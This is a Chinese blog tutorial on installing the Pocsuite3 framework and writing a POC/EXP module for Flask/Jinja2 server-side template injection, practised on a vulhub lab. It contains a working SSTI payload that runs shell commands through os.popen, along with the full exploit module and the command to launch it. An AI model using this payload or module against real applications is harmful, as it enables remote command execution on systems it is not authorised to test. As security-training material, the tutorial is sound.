Pocsuite3 是由知道创宇 404 实验室打造的一款基于 GPLv2 许可证开源的远程漏洞测试框架。可以用来编写POC/EXP,今天借助Flask框架下的SSTI漏洞练习记录一下Pocsuite3框架的配置和编写过程。
官方文档:Pocsuite3 是什么? | Pocsuite3
1.直接pip安装:
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pocsuite3
安装完之后记得检查一下版本:
pocsuite -version
2.通过zip包安装:
wget https://github.com/knownsec/pocsuite3/archive/master.zip
unzip master.zip
cd pocsuite3-master
pip3 install -r requirements.txt
python3 setup.py install
以上方法任选一种。
借助Flask(Jinja2) 服务端模板注入漏洞练习一下POC的编写过程,关于这个漏洞可以看:
Flask(Jinja2)服务端模板注入漏洞(SSTI)整理_plexming的博客-CSDN博客
详细不多说了,这里主要记录POC编写过程,网站环境使用的是vulhub中ssti相关环境:
首先新建一个.py文件,导入相关模块,构造POC实现类,名字根据实际用途取,继承自POCBase类:
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OrderedDict, OptString
class FlaskPOC(POCBase):
···
然后认真填写 PoC 信息字段,这是官方给出的所有信息字段:
vulID = '99335' # Seebug 漏洞收录 ID,如果没有则为 0
version = '1' # PoC 的版本,默认为 1
author = 'seebug' # PoC 的作者
vulDate = '2021-8-18' # 漏洞公开日期 (%Y-%m-%d)
createDate = '2021-8-20' # PoC 编写日期 (%Y-%m-%d)
updateDate = '2021-8-20' # PoC 更新日期 (%Y-%m-%d)
references = ['https://www.seebug.org/vuldb/ssvid-99335'] # 漏洞来源地址,0day 不用写
name = 'Fortinet FortiWeb 授权命令执行 (CVE-2021-22123)' # PoC 名称,建议命令方式:<厂商> <组件> <版本> <漏洞类型>
appPowerLink = 'https://www.fortinet.com' # 漏洞厂商主页地址
appName = 'FortiWeb' # 漏洞应用名称
appVersion = '<=6.4.0' # 漏洞影响版本
vulType = 'Code Execution' # 漏洞类型,参见漏洞类型规范表
desc = '/api/v2.0/user/remoteserver.saml接口的name参数存在命令注入' # 漏洞简要描述
samples = ['http://192.168.1.1'] # 测试样列,就是用 PoC 测试成功的目标
install_requires = ['BeautifulSoup4:bs4'] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
pocDesc = ''' poc的用法描述 '''
category = POC_CATEGORY.EXPLOITS.WEBAPP # PoC 的分类
protocol = POC_CATEGORY.PROTOCOL.HTTP # PoC 的默认协议,方便对 url 格式化
protocol_default_port = 8443 # 目标的默认端口,当提供的目标不包含端口的时候,方便对 url 格式化
dork = {'zoomeye': 'deviceState.admin.hostname'} # 搜索 dork,如果运行 PoC 时不提供目标且该字段不为空,将会调用插件从搜索引擎获取目标。
suricata_request = '''http.uri; content: "/api/v2.0/user/remoteserver.saml";''' # 请求流量 suricata 规则
suricata_response = '' # 响应流量 suricata 规则
字段非常多,不过从 1.9.8
版本开始,基类 POCBase 为 PoC 的所有属性设置了默认值,所以我们并不需要把所有字段都写下来,选择需要的甚至一个不写也没关系,当然为了区分POC建议提供一些基本的属性,这里随便写几个:
author = ['plexming']
name = 'flask ssti'
desc = '''ssti模板注入漏洞POC'''
然后就是重写相关方法了,首先是verify方法,关于漏洞验证的方法写在这里,SSTI漏洞我们可以传一个{{7*7}}来验证一下:
def _verify(self):
result = {}
path = "/?name=" # 参数
url = self.url+path
payload = "{{7*7}}" # payload
r = requests.get(url+payload)
# 验证成功输出相关信息
if r and r.status_code == 200 and "49" in r.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Name'] = payload
return self.parse_output(result)
还有attack方法,EXP脚本需要写在这里:
EXP编写和POC是一样的,无非就是一个写在verify方法里一个写在attack方法里,这里简单执行一个系统命令:
def _attack(self):
result = {}
path = "/?name="
url = self.url + path
payload = "{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}"
r = requests.get(url + payload)
if r and r.status_code == 200 and "www" in r.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Name'] = payload
result['VerifyInfo']['Resp'] = r.text
return self.parse_output(result)
首先进入刚刚写好的.py文件所在目录,输入命令:
pocsuite -r ./flask_ssti.py -u http://0.0.0.0:8000 --verify
-r后面是.py文件名,-u后面是要攻击的网站最后--verify表示执行POC验证,同理如果是--attack就是执行EXP:
可以看到成功执行的结果。同样的,执行EXP效果如下:
完整代码如下,仅供参考。
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OrderedDict, OptString
class FlaskPOC(POCBase):
author = ['plexming']
name = 'flask ssti'
desc = '''ssti模板注入漏洞POC'''
# def _options(self):
# o = OrderedDict()
# o["username"] = OptString('', description='这个poc需要用户登录,请输入登录账号', require=True)
# o["password"] = OptString('', description='这个poc需要用户密码,请输出用户密码', require=False)
# return o
def _verify(self):
result = {}
path = "/?name="
url = self.url+path
payload = "{{7*7}}"
r = requests.get(url+payload)
if r and r.status_code == 200 and "49" in r.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Name'] = payload
return self.parse_output(result)
def _attack(self):
result = {}
path = "/?name="
url = self.url + path
payload = "{{''.__class__.__base__.__subclasses__()[168].__init__.__globals__['sys'].modules['os'].popen('whoami').read()}}"
r = requests.get(url + payload)
if r and r.status_code == 200 and "www" in r.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Name'] = payload
result['VerifyInfo']['Resp'] = r.text
return self.parse_output(result)
register_poc(FlaskPOC)